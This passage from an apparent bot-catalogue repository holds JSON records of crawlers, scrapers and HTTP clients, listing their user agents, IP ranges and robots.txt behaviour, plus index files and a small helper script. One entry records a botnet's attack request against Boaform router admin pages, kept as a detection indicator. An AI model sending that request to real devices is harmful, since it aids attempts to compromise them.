"54.157.185.131/32", 79 | "54.172.13.119/32", 80 | "54.173.4.166/32", 81 | "54.174.230.125/32", 82 | "54.175.191.112/32", 83 | "54.175.206.143/32", 84 | "54.198.60.168/32", 85 | "54.209.9.215/32", 86 | "54.236.34.160/32", 87 | "54.237.12.47/32", 88 | "54.237.223.55/32", 89 | "100.24.50.212/32", 90 | "100.26.153.187/32", 91 | "100.26.218.109/32", 92 | "184.72.112.204/32" 93 | ], 94 | "last_updated": "2020-08-06", 95 | "robotstxt": { 96 | "downloads": false, 97 | "respects": false, 98 | "should": true 99 | }, 100 | "type": 99, 101 | "user_agents": ["chimebot"], 102 | "website": { 103 | "reachable": false, 104 | "url": "" 105 | } 106 | } 107 | -------------------------------------------------------------------------------- /data/coccocbot-image.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "VN", 5 | "description": "Vietnamese search engine.", 6 | "id": "coccocbot-image", 7 | "known_cidrs": [ 8 | "103.131.71.208/31", 9 | "123.30.175.159/32", 10 | "123.30.175.162/32" 11 | ], 12 | "last_updated": "2020-08-06", 13 | "robotstxt": { 14 | "downloads": true, 15 | "respects": true, 16 | "should": true 17 | }, 18 | "type": 2, 19 | "user_agents": [ 20 | "Mozilla/5.0 (compatible; coccocbot-image/1.0; +http://help.coccoc.com/searchengine)" 21 | ], 22 | "website": { 23 | "reachable": true, 24 | "url": "http://help.coccoc.com/searchengine" 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /data/coccocbot-web.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "VN", 5 | "description": "Vietnamese search engine.", 6 | "id": "coccocbot-web", 7 | "known_cidrs": [ 8 | "103.131.71.90/31", 9 | "103.131.71.94/32", 10 | "103.131.71.96/31", 11 | "103.131.71.99/32", 12 | "103.131.71.105/32", 13 | "103.131.71.106/32" 14 | ], 15 | "last_updated": "2020-08-06", 16 | "robotstxt": { 17 | "downloads": true, 18 | "respects": true, 19 | "should": true 20 | }, 21 | "type": 2, 22 | "user_agents": [ 23 | "Mozilla/5.0 (compatible; coccocbot-web/1.0; +http://help.coccoc.com/searchengine)" 24 | ], 25 | "website": { 26 | "reachable": true, 27 | "url": "http://help.coccoc.com/searchengine" 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /data/crawler4j.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "Downloads sitemap despite rebots.txt exclusion but does not continue to crawl the site.", 4 | "country": "ZZ", 5 | "description": "Open Source Web Crawler for Java.", 6 | "id": "crawler4j", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 1, 15 | "user_agents": ["crawler4j (https://github.com/yasserg/crawler4j/)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://github.com/yasserg/crawler4j/" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/curb.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": "US", 5 | "description": "", 6 | "id": "curb", 7 | "known_cidrs": [ 8 | "3.86.243.43/32", 9 | "18.206.186.145/32", 10 | "18.234.220.150/32", 11 | "54.89.190.25/32", 12 | "54.90.215.28/32", 13 | "54.197.93.179/32" 14 | ], 15 | "last_updated": "2020-08-06", 16 | "robotstxt": { 17 | "downloads": false, 18 | "respects": false, 19 | "should": true 20 | }, 21 | "type": 99, 22 | "user_agents": ["curb"], 23 | "website": { 24 | "reachable": false, 25 | "url": "" 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /data/curl.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Command line tool and library for transferring data with URLs.", 6 | "id": "curl", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": ["curl/7.70.0"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://curl.haxx.se" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/drupalfinder.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": null, 5 | "description": "", 6 | "id": "drupalfinder", 7 | "known_cidrs": ["108.61.179.128/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": [ 16 | "drupalfinder1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36" 17 | ], 18 | "website": { 19 | "reachable": false, 20 | "url": "" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/eContext.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "Downloads robots.txt but ignores it.", 4 | "country": "US", 5 | "description": "Text context classification service.", 6 | "id": "eContext", 7 | "known_cidrs": [ 8 | "3.80.50.190/32", 9 | "3.91.198.216/32", 10 | "3.93.44.105/32", 11 | "3.94.22.46/32", 12 | "18.205.104.108/32", 13 | "18.207.117.72/32", 14 | "18.215.252.134/32", 15 | "34.228.141.244/32", 16 | "52.87.172.231/32", 17 | "54.80.192.219/32", 18 | "54.175.124.249/32", 19 | "54.221.101.124/32", 20 | "54.234.17.142/32" 21 | ], 22 | "last_updated": "2020-08-06", 23 | "robotstxt": { 24 | "downloads": true, 25 | "respects": false, 26 | "should": true 27 | }, 28 | "type": 2, 29 | "user_agents": ["eContext/1.0 (eContext Classification Engine)"], 30 | "website": { 31 | "reachable": true, 32 | "url": "https://www.econtext.ai/" 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /data/eZ_Publish_Link_Validator.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Part of the eZ Publishing Platform by Ibexa.", 6 | "id": "eZ Publish Link Validator", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 0, 15 | "user_agents": ["eZ Publish Link Validator"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://www.ibexa.co" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/finbot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": null, 5 | "description": "", 6 | "id": "finbot", 7 | "known_cidrs": ["213.61.218.52/32", "213.61.218.57/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 99, 15 | "user_agents": ["finbot"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/gobyus.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": null, 5 | "description": "", 6 | "id": "gobyus", 7 | "known_cidrs": ["46.34.229.106/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 99, 15 | "user_agents": ["gobyus"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/gocrawl.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Polite, slim and concurrent web crawler.", 6 | "id": "gocrawl", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 1, 15 | "user_agents": ["Googlebot (gocrawl v0.4)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://github.com/PuerkitoBio/gocrawl" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/heritrix.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 3, 3 | "comments": "Heritrix is an open source web crawler designed for web archiving. It was written by the Internet Archive.", 4 | "country": "ZZ", 5 | "description": "", 6 | "id": "heritrix", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; heritrix/3.4.0-20200304 +http://hbi640.ir/)" 17 | ], 18 | "website": { 19 | "reachable": false, 20 | "url": "http://hbi640.ir/" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/http_rb.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Ruby HTTP client.", 6 | "id": "http.rb", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": ["http.rb/3.3.0", "http.rb/4.2.0", "http.rb/4.4.1"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://github.com/httprb/http" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/ia_archiver.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Alexa bot, used to be for Wayback Machine of Archive.org.", 6 | "id": "ia_archiver", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["ia_archiver"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://support.alexa.com/hc/en-us/articles/200450194-Alexa-s-Web-and-Site-Audit-Crawlers" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/ips-agent.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 2, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Operated by Verisign Labs, periodically sends out various types of DNS queries. The purpose of these queries is to make surveys of the Internet's DNS infrastructure.", 6 | "id": "ips-agent", 7 | "known_cidrs": [ 8 | "69.58.178.28/32", 9 | "69.58.178.57/32", 10 | "69.58.178.58/31", 11 | "72.13.46.2/31", 12 | "72.13.46.5/32", 13 | "72.13.46.6/32", 14 | "72.13.62.25/32", 15 | "72.13.62.26/31", 16 | "72.13.62.43/32" 17 | ], 18 | "last_updated": "2020-08-06", 19 | "robotstxt": { 20 | "downloads": false, 21 | "respects": false, 22 | "should": null 23 | }, 24 | "type": 1, 25 | "user_agents": ["Mozilla/5.0 (compatible; ips-agent)"], 26 | "website": { 27 | "reachable": false, 28 | "url": "" 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /data/libwww-perl.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Set of Perl modules which provides a simple and consistent application programming interface to the World-Wide Web.", 6 | "id": "libwww-perl", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": ["libwww-perl/6.46"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://github.com/libwww-perl/libwww-perl" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/link_thumbnailer.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "US", 5 | "description": "", 6 | "id": "link_thumbnailer", 7 | "known_cidrs": ["35.198.83.252/32"], 8 | "last_updated": "2020-09-27", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": ["link_thumbnailer"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/ltx71.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 8, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Security research crawler.", 6 | "id": "ltx71", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["ltx71 - (http://ltx71.com/)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "http://ltx71.com/" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/lua-resty-http.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Lua HTTP client cosocket driver for OpenResty / ngx_lua.", 6 | "id": "lua-resty-http", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": ["lua-resty-http/0.10 (Lua) ngx_lua/10000"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://github.com/ledgetech/lua-resty-http" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/masscan.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 8, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Internet-scale port scanner.", 6 | "id": "masscan", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 1, 15 | "user_agents": ["masscan/1.0 (https://github.com/robertdavidgraham/masscan)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://github.com/robertdavidgraham/masscan" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/mindUpBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "Looks sketchy.", 4 | "country": "DE", 5 | "description": "Commercial data vendor.", 6 | "id": "mindUpBot", 7 | "known_cidrs": ["148.251.232.166/32"], 8 | "last_updated": "2020-08-26", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["mindUpBot (datenbutler.de)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://datenbutler.de" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/myseosnapshot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": null, 5 | "description": "", 6 | "id": "myseosnapshot", 7 | "known_cidrs": ["209.59.181.92/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": ["myseosnapshot/1.0"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/netEstate_NE_Crawler.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "DE", 5 | "description": "German website indexer.", 6 | "id": "netEstate NE Crawler", 7 | "known_cidrs": ["81.209.177.145/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["netEstate NE Crawler (+http://www.website-datenbank.de/)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "http://www.website-datenbank.de/" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/newspaper.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "News, full-text, and article metadata extraction in Python 3.", 6 | "id": "newspaper", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-22", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": ["newspaper/0.2.8"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://github.com/codelucas/newspaper/" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/node-fetch.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "A light-weight module that brings window.fetch to Node.js.", 6 | "id": "node-fetch", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-12", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": ["node-fetch/1.0 (+https://github.com/bitinn/node-fetch)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://github.com/node-fetch/node-fetch" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/oBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": "DE", 5 | "description": "", 6 | "id": "oBot", 7 | "known_cidrs": [ 8 | "194.153.113.13/32", 9 | "194.153.113.35/32", 10 | "194.153.113.101/32", 11 | "194.153.113.222/32", 12 | "206.253.224.14/32", 13 | "206.253.224.76/32", 14 | "206.253.226.8/32", 15 | "206.253.226.12/32" 16 | ], 17 | "last_updated": "2020-08-06", 18 | "robotstxt": { 19 | "downloads": false, 20 | "respects": false, 21 | "should": true 22 | }, 23 | "type": 99, 24 | "user_agents": [ 25 | "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)" 26 | ], 27 | "website": { 28 | "reachable": false, 29 | "url": "http://www.xforce-security.com/crawler/" 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /data/pimeyes_com_crawler.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "Immediately starts crawling for images.", 4 | "country": "US", 5 | "description": "PimEyes is an advanced tool that will help you find the face you are looking for in the Internet. This is possible thanks to the latest technology - face recognition combined with power of machine learning.", 6 | "id": "pimeyes.com crawler", 7 | "known_cidrs": ["88.198.64.49/32"], 8 | "last_updated": "2020-08-18", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["pimeyes.com crawler"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://pimeyes.com/en/faq" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/polaris_botnet.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": null, 5 | "description": "Malware attempting to compromize Boaform.", 6 | "http_requests": ["POST /boaform/admin/formPing HTTP/1.1"], 7 | "id": "polaris botnet", 8 | "known_cidrs": [], 9 | "last_updated": "2020-08-06", 10 | "robotstxt": { 11 | "downloads": null, 12 | "respects": null, 13 | "should": null 14 | }, 15 | "type": 99, 16 | "user_agents": ["polaris botnet"], 17 | "website": { 18 | "reachable": false, 19 | "url": "" 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /data/python-requests.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "HTTP library for Python.", 6 | "id": "python-requests", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": [ 16 | "python-requests/1.2.3 CPython/2.7.16 Linux/4.14.165-102.185.amzn1.x86_64", 17 | "python-requests/2.21.0", 18 | "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.31.1.el6.x86_64" 19 | ], 20 | "website": { 21 | "reachable": true, 22 | "url": "https://2.python-requests.org/en/master/" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /data/shopify-partner-homepage-scraper.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "Verified with Shopify that this is not affiliated or even authorized by them. All IPs are Google Cloud instances.", 4 | "country": "US", 5 | "description": "", 6 | "id": "shopify-partner-homepage-scraper", 7 | "known_cidrs": [ 8 | "34.66.135.62/32", 9 | "34.66.255.220/32", 10 | "34.67.219.227/32", 11 | "35.184.195.253/32", 12 | "35.188.171.24/32", 13 | "35.193.187.253/32", 14 | "35.222.74.74/32", 15 | "35.224.133.40/32", 16 | "35.224.145.53/32", 17 | "35.232.22.138/32", 18 | "35.232.69.250/32", 19 | "35.239.34.248/32", 20 | "35.239.231.14/32", 21 | "104.154.111.4/32" 22 | ], 23 | "last_updated": "2020-08-06", 24 | "robotstxt": { 25 | "downloads": false, 26 | "respects": false, 27 | "should": true 28 | }, 29 | "type": 99, 30 | "user_agents": ["shopify-partner-homepage-scraper"], 31 | "website": { 32 | "reachable": false, 33 | "url": "" 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /data/special_archiver.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 3, 3 | "comments": "Ignores robots.txt, because \"Over time we have observed that the robots.txt files that are geared toward search engine crawlers do not necessarily serve our archival purposes.\" (Source: https://blog.archive.org/2017/04/17/robots-txt-meant-for-search-engines-dont-work-well-for-web-archives)", 4 | "country": "US", 5 | "description": "Archive.org Wayback Machine crawler.", 6 | "id": "special_archiver", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; special_archiver/3.1.1 +http://www.archive.org/details/archive.org_bot)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://www.archive.org/details/archive.org_bot" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/spider.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "The IPs logged are connected to financialbot.com, although the website is defunct. Mostly interested in pages with contact information.", 4 | "country": "DE", 5 | "description": "", 6 | "id": "spider", 7 | "known_cidrs": ["213.61.218.54/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": ["spider"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/tracemyfile.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Image usage tracking service.", 6 | "id": "tracemyfile", 7 | "known_cidrs": ["34.90.107.7/32", "34.90.173.191/32", "91.106.199.104/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; tracemyfile/1.0; +bot@tracemyfile.com)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "https://www.tracemyfile.com" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/webtech.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": null, 5 | "description": "", 6 | "id": "webtech", 7 | "known_cidrs": ["109.69.66.105/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": ["webtech/1.2.8"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/webtechbot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "Claims to respect robots.txt but does not.", 4 | "country": "US", 5 | "description": "WebTechBot is a WebTechSurvey robot that crawls the internet, indexes web page information and collects web technology information detected on the websites.", 6 | "id": "webtechbot", 7 | "known_cidrs": ["76.217.31.195/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; webtechbot; +https://www.webtechsurvey.com/bot)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "https://webtechsurvey.com/bot" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/woorankreview.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 7, 3 | "comments": "", 4 | "country": "BE", 5 | "description": "SEO company.", 6 | "id": "woorankreview", 7 | "known_cidrs": [ 8 | "3.88.184.36/32", 9 | "3.92.165.212/32", 10 | "3.93.81.149/32", 11 | "52.87.248.13/32", 12 | "52.90.228.235/32", 13 | "54.174.192.34/32", 14 | "54.208.221.120/32", 15 | "54.210.73.94/32", 16 | "54.234.53.145/32" 17 | ], 18 | "last_updated": "2020-08-06", 19 | "robotstxt": { 20 | "downloads": false, 21 | "respects": false, 22 | "should": true 23 | }, 24 | "type": 0, 25 | "user_agents": [ 26 | "Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1 (compatible; woorankreview/2.0; +https://www.woorank.com/)" 27 | ], 28 | "website": { 29 | "reachable": true, 30 | "url": "https://www.woorank.com/" 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /data/www_deadlinkchecker_com.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "GB", 5 | "description": "Dead Link Checker crawls through your website, identifying broken links for you to correct.", 6 | "id": "www.deadlinkchecker.com", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 0, 15 | "user_agents": [ 16 | "www.deadlinkchecker.com Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "https://www.deadlinkchecker.com" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/yacybot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Peer-to-Peer web search engine.", 6 | "id": "yacybot", 7 | "known_cidrs": ["45.88.3.24/32", "134.119.54.21/32", "204.122.16.6/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "yacybot (/global; amd64 FreeBSD 13.0-CURRENT; java 1.8.0_192; GMT/en) http://yacy.net/bot.html", 17 | "yacybot (/global; amd64 Linux 5.7.4; java 1.8.0_201; America/en) http://yacy.net/bot.html", 18 | "yacybot (/global; amd64 Windows 10 10.0; java 1.8.0_241; Asia/ru) http://yacy.net/bot.html" 19 | ], 20 | "website": { 21 | "reachable": true, 22 | "url": "http://yacy.net/bot.html" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /data/zgrab.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "A Banner Grabber, in Go.", 6 | "id": "zgrab", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": ["Mozilla/5.0 zgrab/0.x"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://github.com/zmap/zgrab" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /indexes/category_index.json: -------------------------------------------------------------------------------- 1 | { 2 | "Search": 0, 3 | "Data Mining": 1, 4 | "Advertising": 2, 5 | "Archival": 3, 6 | "Automation": 4, 7 | "Legal": 5, 8 | "Malware": 6, 9 | "SEO": 7, 10 | "Security": 8, 11 | "Feeds": 9, 12 | "Suspicious": 99 13 | } 14 | -------------------------------------------------------------------------------- /indexes/type_index.json: -------------------------------------------------------------------------------- 1 | { 2 | "Bot": 0, 3 | "Software": 1, 4 | "Crawler": 2, 5 | "Unknown": 99 6 | } 7 | -------------------------------------------------------------------------------- /new.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | NAME=`echo $1 | sed -E 's/[ \.\/]/_/'` 4 | FILE="data/$NAME.json" 5 | DATE=`date +%Y-%m-%d` 6 | 7 | cp template.json $FILE 8 | sed -E -i "" "s/2020-01-01/$DATE/" $FILE 9 | sed -E -i "" "s/\"id\": \"\"/\"id\": \"$NAME\"/" $FILE 10 | 11 | $EDITOR $FILE 12 | -------------------------------------------------------------------------------- /template.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "", 5 | "description": "", 6 | "id": "", 7 | "known_cidrs": [], 8 | "last_updated": "2020-01-01", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | --------------------------------------------------------------------------------